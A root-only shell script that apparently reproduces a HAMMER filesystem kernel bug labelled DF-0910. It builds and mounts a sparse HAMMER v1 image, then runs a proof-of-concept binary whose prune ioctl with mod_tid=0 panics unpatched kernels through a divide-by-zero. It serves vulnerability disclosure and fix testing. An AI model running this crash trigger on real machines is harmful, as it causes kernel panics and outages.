#!/bin/sh
# DF-0910 run — set up a HAMMER v1 mount, then fire the mod_tid=0 prune ioctl.
# MUST be run as root (the HAMMERIOC_PRUNE ioctl is gated by
# caps_priv_check(SYSCAP_NOVFS_IOCTL) — hammer_ioctl.c:72 — root-only).
#
# Creates a sparse 12GB vn-backed HAMMER v1 image, mounts it on /df910,
# and runs the PoC.
#
# On a vulnerable (unpatched) kernel the ioctl drives a CPU #DE -> kernel panic:
#     Fatal trap 18: integer divide fault while in kernel mode
#     Stopped at hammer_ioc_prune+0x31b: divq %r9,%eax
#
# On a fixed kernel the ioctl returns EINVAL (mod_tid==0 rejected) and the
# guest stays up.
#
# Usage: ./run.sh
set -e
cd "$(dirname "$0")"

IMG=/root/df910_hammer.img
MNT=/df910
VND=vn0

# 0. sanity: must be root
if [ "$(id -u)" -ne 0 ]; then
	echo "must run as root (SYSCAP_NOVFS_IOCTL required for HAMMERIOC_PRUNE)" >&2
	exit 2
fi

# 1. create a sparse 12GB HAMMER v1 volume (HAMMER needs >=10GB)
rm -f "$IMG"
truncate -s 12G "$IMG"

# 2. attach vn, newfs, mount
vnconfig "$VND" "$IMG"
newfs_hammer -f -L df910 "/dev/$VND" >/dev/null 2>&1
mkdir -p "$MNT"
mount -t hammer "/dev/$VND" "$MNT"
echo "[setup] HAMMER v1 mounted on $MNT"

# 3. run the PoC
echo "[run] firing prune_div0 (mod_tid=0) ..."
./prune_div0 "$MNT"
rc=$?
echo "[run] prune_div0 exited rc=$rc"
echo "[run] on a VULNERABLE kernel the ioctl never returns (#DE panic)"
echo "[run] on a FIXED kernel rc=1 with 'Invalid argument' (EINVAL)"
exit $rc